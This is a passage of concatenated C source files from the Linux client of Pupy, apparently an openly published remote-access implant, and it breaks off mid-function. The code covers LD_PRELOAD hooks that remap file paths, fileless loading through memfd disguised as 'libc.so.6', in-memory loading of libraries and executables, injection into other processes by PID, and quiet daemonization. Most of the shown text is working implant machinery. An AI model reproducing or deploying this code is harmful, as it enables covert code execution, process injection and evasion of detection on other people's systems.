#endif #ifndef PATH_MAX #define PATH_MAX 4096 #endif #ifdef _LD_HOOKS_NAME export #endif void set_pathmap_callback(cb_hooks_t cb) { __pathmap_callback = cb; dprint("ldhooks:set_callback(%p)\n", __pathmap_callback); } #define define_mapped_path(mapped_path, path) \ char buf[PATH_MAX] = {}; \ const char *mapped_path = __pathmap_callback? \ __pathmap_callback(path, buf, sizeof(buf)) : path export int __lxstat(int ver, const char * path, struct stat* stat_buf) { define_mapped_path(mapped_path, path); dprint("ldhooks:__lxstat(%d, %s (%s), %p) @ %p\n", ver, path, mapped_path, stat_buf, __pathmap_callback); if (!global__lxstat || !mapped_path) { errno = ENOENT; return -1; } return global__lxstat(ver, mapped_path, stat_buf); } export int __lxstat64(int ver, const char * path, struct stat64* stat_buf) { define_mapped_path(mapped_path, path); dprint("ldhooks:__lxstat64(%d, %s (%s), %p) @ $p\n", ver, path, mapped_path, stat_buf, __pathmap_callback); if (!global__lxstat || !mapped_path) { errno = ENOENT; return -1; } return global__lxstat64(ver, mapped_path, stat_buf); } export int __xstat(int ver, const char * path, struct stat* stat_buf) { define_mapped_path(mapped_path, path); dprint("ldhooks:__xstat(%d, %s (%s), %p)\n", ver, path, mapped_path, stat_buf); if (!global__xstat || !mapped_path) { errno = ENOENT; return -1; } return global__xstat(ver, mapped_path, stat_buf); } export int __xstat64(int ver, const char * path, struct stat64* stat_buf) { define_mapped_path(mapped_path, path); dprint("ldhooks:__xstat64(%d, %s (%s), %p)\n", ver, path, mapped_path, stat_buf); if (!global__xstat) { errno = ENOENT; return -1; } return global__xstat64(ver, mapped_path, stat_buf); } export int open(const char *pathname, int flags, ...) { int ret = -1; va_list args; va_start(args, flags); define_mapped_path(mapped_path, pathname); dprint("ldhooks:open(%s (%s), %08x)\n", pathname, mapped_path, flags); if (!global_open || !mapped_path) { errno = ENOENT; } else { if (flags & (O_CREAT | O_TMPFILE)) { mode_t mode = va_arg(args, mode_t); ret = global_open(mapped_path, flags, mode); } else { ret = global_open(mapped_path, flags); } } va_end(args); return ret; } export int open64(const char *pathname, int flags, ...) { int ret = -1; va_list args; va_start(args, flags); define_mapped_path(mapped_path, pathname); dprint("ldhooks:open64(%s (%s), %08x)\n", pathname, mapped_path, flags); if (!global_open64 || !mapped_path) { errno = ENOENT; } else { if (flags & (O_CREAT | O_TMPFILE)) { mode_t mode = va_arg(args, mode_t); ret = global_open64(mapped_path, flags, mode); } else { ret = global_open64(mapped_path, flags); } } va_end(args); return ret; } export int openat(int dirfd, const char *pathname, int flags, ...) { int ret = -1; va_list args; va_start(args, flags); define_mapped_path(mapped_path, pathname); dprint("ldhooks:openat(%d, %s (%s), %08x)\n", dirfd, mapped_path, pathname, flags); if (!global_openat || !mapped_path) { errno = ENOENT; } else { if (flags & (O_CREAT | O_TMPFILE)) { mode_t mode = va_arg(args, mode_t); ret = global_openat(dirfd, mapped_path, flags, mode); } else { ret = global_openat(dirfd, mapped_path, flags); } } va_end(args); return ret; } export int openat64(int dirfd, const char *pathname, int flags, ...) { int ret = -1; va_list args; va_start(args, flags); define_mapped_path(mapped_path, pathname); dprint("ldhooks:openat64(%d, %s (%s), %08x)\n", dirfd, pathname, mapped_path, flags); if (!global_openat64 || !mapped_path) { errno = ENOENT; } else { if (flags & (O_CREAT | O_TMPFILE)) { mode_t mode = va_arg(args, mode_t); ret = global_openat64(dirfd, mapped_path, flags, mode); } else { ret = global_openat64(dirfd, mapped_path, flags); } } va_end(args); return ret; } export FILE *fopen(const char *pathname, const char *mode) { define_mapped_path(mapped_path, pathname); dprint("ldhooks:fopen(%s (%s), %s)\n", pathname, mapped_path, mode); if (!global_fopen || !mapped_path) { errno = ENOENT; return NULL; } return global_fopen(mapped_path, mode); } export FILE *fopen64(const char *pathname, const char *mode) { define_mapped_path(mapped_path, pathname); dprint("ldhooks:fopen64(%s (%s), %s) @ %p\n", pathname, mapped_path, mode, __pathmap_callback); if (!global_fopen64 || !mapped_path) { errno = ENOENT; return NULL; } return global_fopen64(mapped_path, mode); } #ifdef _LD_HOOKS_NAME static #endif void _ld_hooks_main(int argc, char *argv[], char *envp[]) { dprint("ldhooks: initialize targets\n"); global_fopen = dlsym(RTLD_NEXT, "fopen"); global_fopen64 = dlsym(RTLD_NEXT, "fopen64"); global_open = dlsym(RTLD_NEXT, "open"); global_open64 = dlsym(RTLD_NEXT, "open64"); global_openat = dlsym(RTLD_NEXT, "openat"); global_openat64 = dlsym(RTLD_NEXT, "openat64"); global__lxstat64 = dlsym(RTLD_NEXT, "__lxstat64"); global__lxstat = dlsym(RTLD_NEXT, "__lxstat"); global__xstat64 = dlsym(RTLD_NEXT, "__xstat64"); global__xstat = dlsym(RTLD_NEXT, "__xstat"); } #ifdef _LD_HOOKS_NAME __attribute__((section(".init_array"))) void (*ld_hooks_main)(int, char *[], char *[]) = _ld_hooks_main; #endif ================================================ FILE: client/sources-linux-py3/ld_hooks.h ================================================ #ifndef LD_HOOKS_H #define LD_HOOKS_H #include typedef const char * (*cb_hooks_t)(const char *path, char *buf, size_t buf_size); void set_pathmap_callback(cb_hooks_t cb); #ifndef _LD_HOOKS_NAME void _ld_hooks_main(int argc, char *argv[], char *envp[]); #endif #endif ================================================ FILE: client/sources-linux-py3/main_exe.c ================================================ #include #include #include "pupy_load.h" #include "daemonize.h" #ifdef Linux #include #endif int main(int argc, char *argv[], char *env[]) { #ifndef DEBUG daemonize(&argc, &argv, env, true); #else #ifdef Linux mtrace(); #endif #endif return mainThread(argc, argv, false); } void setup_jvm_class(void) {} ================================================ FILE: client/sources-linux-py3/main_so.c ================================================ #define _GNU_SOURCE #include #include #include #include #include #include "pupy_load.h" #include "tmplibrary.h" #include "debug.h" #include "Python-dynload.h" #include "jni_on_load.c" static pthread_t thread_id; static int __argc = 0; static char ** __argv = NULL; static int __to_wait = 0; static int __unmapped = -1; static void * thread_start(void *arg) { /* * We start from unstable state, no way to know * when libraries were fully loaded. While horribly racy, * sleep is better then nothing. */ dprint("Launch dedicated thread\n"); sleep(1); #if defined(Linux) && defined(WIP_LMID) /* * Remap may be possible only after library load, */ if (__unmapped != 0) { dprint("Try to remap again\n"); struct link_map *link_map = NULL; void *self = dlopen(0, RTLD_LAZY); dprint("SELF: %p\n", self); if (self && dlinfo(self, RTLD_DI_LINKMAP, &link_map) == 0) { dprint("Library path: '%s'\n", link_map->l_name); if (link_map->l_name) { __unmapped = remap(link_map->l_name); } } } #endif dprint("Starting main payload\n"); mainThread(__argc, __argv, true); return NULL; } static void unloader(void) { dprint("Wait until pupy thread exits\n"); pthread_join(thread_id, NULL); dprint("Sutting down\n"); } static void __handle_exit(int status) { dprint("Catch exit (%d)\n", __to_wait); __attribute__((noreturn)) void (*orig_exit)(int status) = dlsym(RTLD_NEXT, "_exit"); if (__to_wait) { dprint("Hook exit\n"); unloader(); } orig_exit(status); } static void __atexit() { dprint("At exit\n"); __handle_exit(0); } static void __on_exit(int status, void *data) { dprint("On exit\n"); __handle_exit(status); } static void _pupy_main(int argc, char* argv[], char* envp[]) { dprint("pupy loader ctor called\n"); dprint("fill_argv called: %d/%p/%p\n", argc, argv, envp); #ifdef DEBUG int i; for (i=0; i #include #include #include #include #include #ifndef MFD_CLOEXEC #define MFD_CLOEXEC 0x0001U #define MFD_ALLOW_SEALING 0x0002U #endif #ifndef __NR_memfd_create #ifdef __x86_64__ #define __NR_memfd_create 319 #elif __i386__ #define __NR_memfd_create 356 #elif __arm__ #define __NR_memfd_create 385 #endif #endif #ifndef F_ADD_SEALS #define F_ADD_SEALS (1024 + 9) #define F_SEAL_SEAL 0x0001 #define F_SEAL_SHRINK 0x0002 #define F_SEAL_GROW 0x0004 #define F_SEAL_WRITE 0x0008 #endif #define PROCFS_PATH "/proc/" #define MEMFD_FILE_PATH PROCFS_PATH "%d/fd/" static bool memfd_checked = false; static bool memfd_works = true; inline static bool pupy_memfd_supported() { int fd; if (memfd_checked) return memfd_works; fd = syscall(__NR_memfd_create, "check", MFD_CLOEXEC | MFD_ALLOW_SEALING); close(fd); return fd != -1; } inline static int pupy_memfd_create(char *path, unsigned int path_size) { #ifdef Linux #ifdef DEBUG #define _path path #else char _path[PATH_MAX] = "libc.so.6"; #endif /* Do not make syscall billion times */ if (memfd_checked && !memfd_works) { errno = ENOSYS; return -1; } int fd = syscall(__NR_memfd_create, _path, MFD_CLOEXEC | MFD_ALLOW_SEALING); if (fd == -1) { if (errno == ENOSYS) memfd_works = false; return -1; } snprintf(path, path_size, MEMFD_FILE_PATH "%d", getpid(), fd); return fd; #else return -1; #endif } inline static bool is_memfd_path(const char *path) { return !strncmp(path, PROCFS_PATH, strlen(PROCFS_PATH)) && \ strstr(path, "/fd/"); } #endif ================================================ FILE: client/sources-linux-py3/pupy.c ================================================ /* # Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) # Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms */ #define _GNU_SOURCE #ifdef _PUPY_SO # define PY_SSIZE_T_CLEAN # include #else # include "Python-dynload.h" # include "Python-dynload-os.h" #endif #include #include #include #include #include #include #include #include "debug.h" #include "daemonize.h" #include #include "tmplibrary.h" #include #ifdef Linux #include #include "memfd.h" #ifdef _FEATURE_INJECTOR #include "injector.h" #endif #endif #include "ld_hooks.h" #include "revision.h" static const char module_doc[] = DOC("Builtins utilities for pupy"); static PyObject *ExecError; #ifdef _FEATURE_PATHMAP static PyObject *py_pathmap = NULL; #ifndef _LD_HOOKS_NAME static #endif const char *__pathmap_callback(const char *path, char *buf, size_t buf_size) { PyGILState_STATE gil_state; PyObject* result = NULL; char *c_result = NULL; if (!strncmp(path, "f:", 2) || !strncmp(path, "pupy:/", 6) || !strncmp(path, "pupy/", 5)) { dprint("__pathmap_callback(%s) -> pupy -> NULL\n"); return NULL; } if (!py_pathmap) { dprint("__pathmap_callback: uninitialized (should not happen)\n"); return path; } dprint("__pathmap_callback(%s) - get (%p (%d))\n", path, py_pathmap, Py_RefCnt(py_pathmap)); gil_state = PyGILState_Ensure(); result = PyDict_GetItemString(py_pathmap, path); dprint("__pathmap_callback(%s) -> %p (%d)\n", path, result, Py_RefCnt(result)); if (!result) { PyGILState_Release(gil_state); return path; } if (result == Py_None) { dprint("__pathmap_callback: None\n"); PyGILState_Release(gil_state); return NULL; } c_result = PyBytes_AsString(result); if (!c_result) { dprint("__pathmap_callback: Not a string object\n"); PyErr_Clear(); PyGILState_Release(gil_state); return path; } strncpy(buf, c_result, buf_size); PyGILState_Release(gil_state); return buf; } #endif static PyObject *Py_get_arch(PyObject *self, PyObject *args) { #ifdef __x86_64__ return Py_BuildValue("s", "x64"); #elif __i386__ return Py_BuildValue("s", "x86"); #elif __arm__ return Py_BuildValue("s", "arm"); #else return Py_BuildValue("s", "unknown"); #endif } static PyObject *Py_ld_preload_inject_dll(PyObject *self, PyObject *args) { const char *lpCmdBuffer; const char *lpDllBuffer; uint32_t dwDllLenght; PyObject* py_HookExit; if (!PyArg_ParseTuple(args, "zs#O", &lpCmdBuffer, &lpDllBuffer, &dwDllLenght, &py_HookExit)) return NULL; char ldobject[PATH_MAX] = {}; int cleanup_workaround = 0; int cleanup = 1; int fd = drop_library(ldobject, PATH_MAX, lpDllBuffer, dwDllLenght); if (fd < 0) { dprint("Couldn't drop library: %m\n"); return NULL; } #ifdef Linux if (is_memfd_path(ldobject)) { cleanup_workaround = 1; cleanup = 0; } #endif char cmdline[PATH_MAX*2] = {}; snprintf( cmdline, sizeof(cmdline), "LD_PRELOAD=%s HOOK_EXIT=%d CLEANUP=%d exec %s 1>/dev/null 2>/dev/null", ldobject, PyObject_IsTrue(py_HookExit), cleanup, lpCmdBuffer ); dprint("Program to execute in child context: %s\n", cmdline); #if defined(Linux) && !defined(DEBUG) if (cleanup_workaround) prctl(4, 1, 0, 0, 0); #endif pid_t pid = daemonize(0, NULL, NULL, false); if (pid == 0) { /* Daemonized context */ dprint("Daemonization complete - client\n"); execl("/bin/sh", "/bin/sh", "-c", cmdline, NULL); unlink(ldobject); exit(255); } dprint("Daemonization complete - server\n"); if (cleanup_workaround) { sleep(2); close(fd); } #if defined(Linux) && !defined(DEBUG) if (cleanup_workaround) prctl(4, 0, 0, 0, 0); #endif if (pid == -1) { dprint("Couldn\'t daemonize: %m\n"); unlink(ldobject); return PyLong_FromLong(-1); } return PyLong_FromLong(pid); } #ifdef Linux #ifdef _FEATURE_INJECTOR static PyObject *Py_reflective_inject_dll(PyObject *self, PyObject *args) { uint32_t dwPid; const char *lpDllBuffer; uint32_t dwDllLenght; int ret = 0; if (!PyArg_ParseTuple(args, "Is#", &dwPid, &lpDllBuffer, &dwDllLenght)) return NULL; dprint("Injection requested. PID: %d\n", dwPid); char buf[PATH_MAX]={}; int fd = drop_library(buf, PATH_MAX, lpDllBuffer, dwDllLenght); if (!fd) { PyErr_SetString(ExecError, "Couldn't drop library"); return NULL; } int is_memfd = is_memfd_path(buf); dprint("Injecting %s to %d\n", buf, dwPid); injector_t *injector; if (injector_attach(&injector, dwPid) != 0) { PyErr_SetString(ExecError, "Injector attach failed"); return NULL; } #ifndef DEBUG if (is_memfd) prctl(4, 1, 0, 0, 0); #endif if (injector_inject(injector, buf) == 0) { dprint("\"%s\" successfully injected\n", buf); ret = 1; } if (is_memfd) { #ifndef DEBUG prctl(4, 0, 0, 0, 0); #endif close(fd); } else { unlink(buf); } injector_detach(&injector); if (ret != 1) { PyErr_SetString(ExecError, injector_error()); return NULL; } return PyBool_FromLong(0); } #endif static PyObject *Py_memfd_is_supported(PyObject *self, PyObject *args) { return PyBool_FromLong(pupy_memfd_supported()); } static PyObject *Py_memfd_create(PyObject *self, PyObject *args, PyObject *kwargs) { char memfd_path[PATH_MAX] = {}; int fd = -1; const char *name = ""; FILE *c_file; PyObject *py_file; PyObject *result; static const char* kwargs_defs[] = { "name", NULL }; if (!PyArg_ParseTupleAndKeywords(args, kwargs, "|s", kwargs_defs, &name)) return NULL; strncpy(memfd_path, name, sizeof(memfd_path)); dprint("Py_memfd_create(%s)\n", name); fd = pupy_memfd_create(memfd_path, sizeof(memfd_path)); if (fd == -1) return PyErr_SetFromErrno(PyExc_OSError); c_file = fdopen(fd, "w+b"); if (!c_file) { close(fd); return PyErr_SetFromErrno(PyExc_OSError); } py_file = PyFile_FromFd(c_file, memfd_path, "w+b", -1, "", "\n", "", fclose); if (!py_file) { close(fd); return NULL; } result = Py_BuildValue("Os", py_file, memfd_path); Py_DecRef(py_file); return result; } #endif static PyObject *Py_load_dll(PyObject *self, PyObject *args) { char *lpDllBuffer; Py_ssize_t dwDllLenght; const char *dllname; PyObject *dataobj; if (!PyArg_ParseTuple(args, "sS", &dllname, &dataobj)) return NULL; if (PyBytes_AsStringAndSize(dataobj, &lpDllBuffer, &dwDllLenght)==-1) { PyErr_Format(PyExc_ImportError, "Py_load_dll : cannot convert bytes to char * : %s ", dllname); return NULL; } dprint("Py_load_dll(%s, buf=%p BufSize=%d)\n", dllname, lpDllBuffer, dwDllLenght); void * hmem = memdlopen(dllname, lpDllBuffer, dwDllLenght, RTLD_LOCAL | RTLD_NOW); if (!hmem) { dprint("Py_load_dll(): Couldn't load %s\n", dllname); PyErr_Format(ExecError, "Py_load_dll(): Couldn't load %s\n", dllname); return NULL; } dprint("Py_load_dll(): returning handle: %x\n",hmem); return PyLong_FromVoidPtr(hmem); } static PyObject * Py_import_module(PyObject *self, PyObject *args) { char *data; Py_ssize_t size; char *initfuncname; char *modname; char *pathname; char *oldcontext; PyObject *dataobj; PyObject *spec; /* code, initfuncname, fqmodulename, path */ if (!PyArg_ParseTuple(args, "SsssO:import_module", &dataobj, &initfuncname, &modname, &pathname, &spec)) { dprint("error in PyArg_ParseTuple()\n"); return NULL; } dprint("DEBUG! %s@%s\n", initfuncname, modname); if (PyBytes_AsStringAndSize(dataobj, &data, &size)==-1) { PyErr_Format(PyExc_ImportError, "cannot convert bytes to char * : %s ", pathname); return NULL; } dprint("import_module: init=%s mod=%s (%p:%lu)\n", initfuncname, modname, data, size); void *hmem = memdlopen(modname, data, size, RTLD_LOCAL | RTLD_NOW); if (!hmem) { dprint("Py_import_module(): Couldn't load %s\n", modname); PyErr_Format(PyExc_ImportError, "Py_load_dll(): Couldn't load %s\n", modname); return NULL; } PyObject *(*do_init)(void); do_init= dlsym(hmem, initfuncname); if (!do_init) { dprint("Couldn't find sym %s in %s: %m\n", initfuncname, modname); dlclose(hmem); return NULL; } oldcontext = _Py_PackageContext; _Py_PackageContext = modname; dprint("Call %s@%s (%p)\n", initfuncname, modname, do_init); PyObject *m = do_init(); _Py_PackageContext = oldcontext; dprint("Call %s@%s (%p) - complete\n", initfuncname, modname, do_init); // multi phase init if (PyObject_TypeCheck(m, &PyModuleDef_Type)) { struct PyModuleDef *def; PyObject *state; m = PyModule_FromDefAndSpec((PyModuleDef*)m, spec); def = PyModule_GetDef(m); state = PyModule_GetState(m); if (state == NULL) { PyModule_ExecDef(m, def); } dprint("return from PyObject_TypeCheck\n", modname); return m; } PyObject *modules = NULL; modules = PyImport_GetModuleDict(); PyObject *name = PyUnicode_FromString(modname); _PyImport_FixupExtensionObject(m, name, name, modules); Py_DECREF(name); if (PyErr_Occurred()) { dprint("error at the end\n"); return NULL; } dprint("calling PyImport_ImportModule(%s)\n", modname); /* Retrieve from sys.modules */ return PyImport_ImportModule(modname); } static PyObject *Py_mexec(PyObject *self, PyObject *args) { const char *buffer = NULL; size_t buffer_size = 0; PyObject *argv_obj = NULL; PyObject *redirected_obj = NULL; PyObject *detach_obj = NULL; //TODO: change all deprecated and broken s# notation in PyArg_ParseTuple if (!PyArg_ParseTuple(args, "s#OOO", &buffer, &buffer_size, &argv_obj, &redirected_obj, &detach_obj)) return NULL; Py_ssize_t argc = PySequence_Length(argv_obj); if (argc < 1) { PyErr_SetString(ExecError, "Args not passed"); return NULL; } bool redirected = PyObject_IsTrue(redirected_obj); bool detach = PyObject_IsTrue(detach_obj); char **argv = (char **) malloc(sizeof(char*) * (argc + 1)); if (!argv) { PyErr_SetString(ExecError, "Too many args"); return NULL; } int i; for (i=0; i ptr") }, { "import_module", Py_import_module, METH_VARARGS, DOC("import_module(data, size, initfuncname, path) -> module") }, { "mexec", Py_mexec, METH_VARARGS, DOC("mexec(data, argv, redirected_stdio, detach) -> (pid, (in, out, err))") }, { "ld_preload_inject_dll", Py_ld_preload_inject_dll, METH_VARARGS, DOC("ld_preload_inject_dll(cmdline, dll_buffer, hook_exit) -> pid") }, { NULL, NULL }, /* Sentinel */ }; static struct PyModuleDef PupyModuleDef = { // PyModuleDef_HEAD_INIT, { { 0, 0, 1, NULL} , NULL, /* m_init */ 0, /* m_index */ NULL }, /* m_copy */ "_pupy", /* name of module */ "", /* module documentation, may be NULL */ -1, /* size of per-interpreter state of the module, or -1 if the module keeps state in global variables. */ methods }; #ifdef _PUPY_DYNLOAD #define FUNC_EXPORT PyMODINIT_FUNC #else #define FUNC_EXPORT void * #endif FUNC_EXPORT PyInit__pupy(void) { PyObject *pupy; //PyObject *pupy = Py_InitModule3("_pupy", methods, (char *) module_doc); dprint("creating pupy module ...\n"); pupy = PyModule_Create(&PupyModuleDef); if (!pupy) { return NULL; } PyModule_AddStringConstant(pupy, "revision", GIT_REVISION_HEAD); ExecError = PyErr_NewException("_pupy.error", NULL, NULL); Py_INCREF(ExecError); PyModule_AddObject(pupy, "error", ExecError); #ifdef _PUPY_SO //setup_jvm_class(); #endif #ifdef _FEATURE_PATHMAP py_pathmap = PyDict_New(); Py_INCREF(py_pathmap); PyModule_AddObject(pupy, "pathmap", py_pathmap); #ifndef _LD_HOOKS_NAME set_pathmap_callback(__pathmap_callback); #endif #endif return pupy; } ================================================ FILE: client/sources-linux-py3/pupy.ldscript ================================================ { global: open; open64; openat; openat64; fopen; fopen64; __lxstat; __lxstat64; __xstat; __xstat64; local: *; }; ================================================ FILE: client/sources-linux-py3/pupy.so.ldscript ================================================ { global: JNI_OnLoad; JNI_OnUnload; local: *; }; ================================================ FILE: client/sources-linux-py3/pupy_load.c ================================================ /* # Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) # Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include "tmplibrary.h" #include "debug.h" #include "pupy_load.h" #include "Python-dynload.c" #include "revision.h" #include "ld_hooks.h" #include "memfd.h" // include the c extension to load from memory #include "_pupy.c" //extern DL_EXPORT(void) init_pupy(void); #if defined(_FEATURE_PATHMAP) && defined(_LD_HOOKS_NAME) const char *__pathmap_callback(const char *path, char *buf, size_t buf_size); #endif uint32_t mainThread(int argc, char *argv[], bool so) { struct rlimit lim; char *oldcontext; dprint("TEMPLATE REV: %s\n", GIT_REVISION_HEAD); if (getrlimit(RLIMIT_NOFILE, &lim) == 0) { lim.rlim_cur = lim.rlim_max; setrlimit(RLIMIT_NOFILE, &lim); } lim.rlim_cur = 0; lim.rlim_max = 0; setrlimit(RLIMIT_CORE, &lim); #ifdef _FEATURE_PATHMAP #ifndef _LD_HOOKS_NAME _ld_hooks_main(argc, argv, NULL); #else void *ld_hooks = xz_dynload( _LD_HOOKS_NAME, _LD_HOOKS_START, _LD_HOOKS_SIZE, NULL ); if (ld_hooks) { void (*set_pathmap_callback)(cb_hooks_t cb) = dlsym( ld_hooks, "set_pathmap_callback"); if (set_pathmap_callback) { set_pathmap_callback(__pathmap_callback); dprint("set_pathmap_callback: %p\n", set_pathmap_callback); } else { dprint("set_pathmap_callback not found\n"); } } else { dprint("set_pathmap_callback: " _LD_HOOKS_NAME " not found\n"); } #endif #endif dprint("Initializing python...\n"); if (!initialize_python(argc, argv, so)) { return -1; } dprint("_pupy built with dynload\n"); //init_pupy(); void *c_pupy = xz_dynload( "_pupy.so", _pupy_c_start, _pupy_c_size, NULL ); PyObject *(*PyInit__pupy)(void); PyInit__pupy= dlsym(c_pupy, "PyInit__pupy"); if (!PyInit__pupy) { dprint("Couldn't find sym PyInit__pupy"); dlclose(c_pupy); return -1; } oldcontext = _Py_PackageContext; _Py_PackageContext = "_pupy"; PyObject *m = PyInit__pupy(); _Py_PackageContext = oldcontext; PyObject *modules = NULL; modules = PyImport_GetModuleDict(); PyObject *name = PyUnicode_FromString("_pupy"); _PyImport_FixupExtensionObject(m, name, name, modules); Py_DECREF(name); if (PyErr_Occurred()) { dprint("error loading _pupy.so\n"); return false; } dprint("Running pupy...\n"); run_pupy(); dprint("Global Exit\n"); return 0; } ================================================ FILE: client/sources-linux-py3/pupy_load.h ================================================ #ifndef PUPY_LOAD_H #define PUPY_LOAD_H #include #include void initialize(bool isDll); int execute(void * lpArg); void deinitialize(); uint32_t mainThread(int argc, char *argv[], bool so); void setup_jvm_class(); #endif ================================================ FILE: client/sources-linux-py3/revision.h ================================================ #define GIT_REVISION_HEAD "90a8f7a9" ================================================ FILE: client/sources-linux-py3/tmplibrary.c ================================================ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "tmplibrary.h" #include "debug.h" #ifdef Linux #include "memfd.h" #endif #include "decompress.h" #ifndef MREMAP_FIXED #define MREMAP_FIXED 2 #endif void* (*___mremap) ( void *old_address, size_t old_size, size_t new_size, int flags, void *new_address) = (void *) mremap; static void _pmparser_split_line( char *buf, char *addr1, char *addr2, char *perm, char *offset, char *device, char *inode, char *pathname ); extern char **environ; /* So.. We don't want to bother with reflective bla-bla-bla. Just upload buffer to temporary file, load it as a library using standard glibc calls, then delete */ static inline const char *gettemptpl() { static const char *templates[] = { #ifdef Linux "/dev/shm/XXXXXX", "/run/shm/XXXXXX", "/run/", #endif "/tmp/XXXXXX", "/var/tmp/XXXXXX", NULL }; static const char *tmpdir = NULL; if (! tmpdir) { int i; for (i=0; templates[i]; i++) { char *buf = alloca(strlen(templates[i]+1)); strcpy(buf, templates[i]); int fd = mkstemp(buf); int found = 0; if (fd != -1) { int page_size = sysconf(_SC_PAGESIZE); if (ftruncate(fd, page_size) != -1) { void *map = mmap( NULL, page_size, PROT_READ|PROT_EXEC, #ifdef Linux MAP_PRIVATE|MAP_DENYWRITE, #else MAP_PRIVATE, #endif fd, 0 ); if (map != MAP_FAILED) { munmap(map, page_size); found = 1; } else { dprint("Couldn't use %s -> %m\n", buf); } } unlink(buf); close(fd); if (found) { tmpdir = templates[i]; break; } } dprint("TRY: %s -> %d (%m)\n", buf, fd); } if (!tmpdir) { abort(); } } return tmpdir; } int drop_library(char *path, size_t path_size, const char *buffer, size_t size) { #if defined(Linux) int fd = pupy_memfd_create(path, path_size); bool memfd = true; #elif defined(SunOS) char tmp[PATH_MAX] = {}; snprintf(tmp, sizeof(tmp), "/tmp/%s", path); int fd = open(tmp, O_CREAT | O_RDWR, 0600); strncpy(path, tmp, path_size); bool memfd = false; #else int fd = -1; bool memfd = false; #endif if (fd < 0) { dprint("pupy_memfd_create() failed: %m\n"); memfd = false; const char *template = gettemptpl(); if (path_size < strlen(template)) return -1; strcpy(path, template); fd = mkstemp(path); if (fd < 0) { return fd; } } if (size > 2 && buffer[0] == '\x1f' && buffer[1] == '\x8b') { dprint("Decompressing library %s\n", path); int r = decompress(fd, buffer, size); if (!r == 0) { dprint("Decompress error: %d\n", r); close(fd); return -1; } } else { dprint("Writing library to fd : %s\n", path); while (size > 0) { size_t n = write(fd, buffer, size); if (n == -1) { dprint("Write failed: %d left, error = %m, buffer = %p, tmpfile = %s\n", size, buffer, path); close(fd); unlink(path); fd = -1; break; } buffer += n; size -= n; } } #ifdef Linux if (memfd) { dprint("calling fcntl on fd=%d\n", fd); fcntl(fd, F_ADD_SEALS, F_SEAL_SEAL | F_SEAL_SHRINK | F_SEAL_GROW | F_SEAL_WRITE); } #endif dprint("returning fd=%d\n", fd); return fd; } static inline int set_cloexec_flag (int desc) { int oldflags = fcntl (desc, F_GETFD, 0); if (oldflags < 0) return oldflags; oldflags |= FD_CLOEXEC; return fcntl (desc, F_SETFD, oldflags); } pid_t memexec(const char *buffer, size_t size, const char* const* argv, int stdior[3], bool redirected_stdio, bool detach) { dprint("memexec(%p, %ull, %d)\n", buffer, size, redirected_stdio); char buf[PATH_MAX]={}; int fd = drop_library(buf, sizeof(buf), buffer, size); if (fd < 0) { dprint("Couldn't drop executable: %m\n"); return -1; } int p_wait[2]; int p_stdin[2]; int p_stdout[2]; int p_stderr[2]; if (pipe(p_wait) < 0) { dprint("Couldn't create wait pipe: %m\n"); goto _lbClose; } if (redirected_stdio) { if (pipe(p_stdin) < 0) goto _lbClose0; if (pipe(p_stdout) < 0) goto _lbClose1; if (pipe(p_stderr) < 0) goto _lbClose2; } pid_t pid = 0; if (detach) { pid = fork(); if (pid == -1) { dprint("Couldn't fork: %m\n"); goto _lbClose3; } } if (!pid) { pid = fork(); if (pid == -1) { exit(1); } if (pid) { if (detach) { write(p_wait[1], &pid, sizeof(pid)); exit(0); } } else { if (redirected_stdio) { dup2(p_stdin[0], 0); close(p_stdin[1]); dup2(p_stdout[1], 1); close(p_stdout[0]); dup2(p_stderr[1], 2); close(p_stderr[0]); close(p_wait[0]); } else { int i; if (setsid ( ) == -1) return -1; for (i = 0; i < sysconf(_SC_OPEN_MAX); i++) if (i != p_wait[1]) close(i); open ("/dev/null", O_RDWR); dup (0); dup (0); } set_cloexec_flag(p_wait[1]); execv(buf, (char *const *) argv); int status = errno; write(p_wait[1], &status, sizeof(status)); exit(1); } } close(p_wait[1]); p_wait[1] = -1; int status = 0; int error = 0; pid_t child_pid = 0; if (detach) { if (read(p_wait[0], &child_pid, sizeof(child_pid)) < 0) { dprint("Reading child pid failed: %m\n"); goto _lbClose3; } if (waitpid(pid, &status, 0) < 0 || WEXITSTATUS(status) != 0) { dprint("Invalid child state\n"); goto _lbClose3; } dprint("Detached pid catched and closed: %d status=%d\n", pid, WEXITSTATUS(status)); } else { child_pid = pid; } dprint("Wait exec status...\n"); if (read(p_wait[0], &error, sizeof(error)) < 0) { dprint("Reading error failed: %m\n"); goto _lbClose3; } dprint("Child error status: %d (%d)\n", error, errno); if (error) goto _lbClose3; dprint("Child at %d\n", child_pid); if (redirected_stdio) { close(p_stdin[0]); stdior[0] = p_stdin[1]; close(p_stdout[1]); stdior[1] = p_stdout[0]; close(p_stderr[1]); stdior[2] = p_stderr[0]; } close(p_wait[0]); close(fd); #ifdef Linux if (!is_memfd_path(buf)) #endif unlink(buf); return child_pid; _lbClose3: if (redirected_stdio) { close(p_stderr[0]); close(p_stderr[1]); } _lbClose2: if (redirected_stdio) { close(p_stdout[0]); close(p_stdout[1]); } _lbClose1: if (redirected_stdio) { close(p_stdin[0]); close(p_stdin[1]); } _lbClose0: if (p_wait[0] > 0) close(p_wait[0]); if (p_wait[1] > 0) close(p_wait[1]); _lbClose: close(fd); unlink(buf); dprint("Exited with error\n"); return -1; } #ifdef Linux int remap(const char *path) { char line_buf[PATH_MAX + 256] = {}; struct stat dl_stat = {}; int remapped = -1; if (!path || path[0] == '\0') { return -1; } FILE *maps = fopen("/proc/self/maps", "r"); dprint("Remap %s\n", path); if (!maps) { dprint("Remap %s - failed, couldn't read maps\n", path); return -1; } if (stat(path, &dl_stat) < 0) { dprint("Remap %s - failed, stat() failed: %m\n", path); goto lbExit; } if (dl_stat.st_ino == 0) { dprint("Remap %s - failed, stat() failed: st_ino == 0\n", path); goto lbExit; } while (fgets(line_buf, sizeof(line_buf), maps)) { char addr1[40], addr2[40], perm[8], offset[40], dev[10], inode[40], pathname[PATH_MAX]; _pmparser_split_line( line_buf, addr1, addr2, perm, offset, dev, inode, pathname ); unsigned int s_maj = 0, s_min = 0; unsigned short s_dev = 0; unsigned long long l_inode = 0; #if __WORDSIZE == 32 unsigned int l_addr_start = 0; 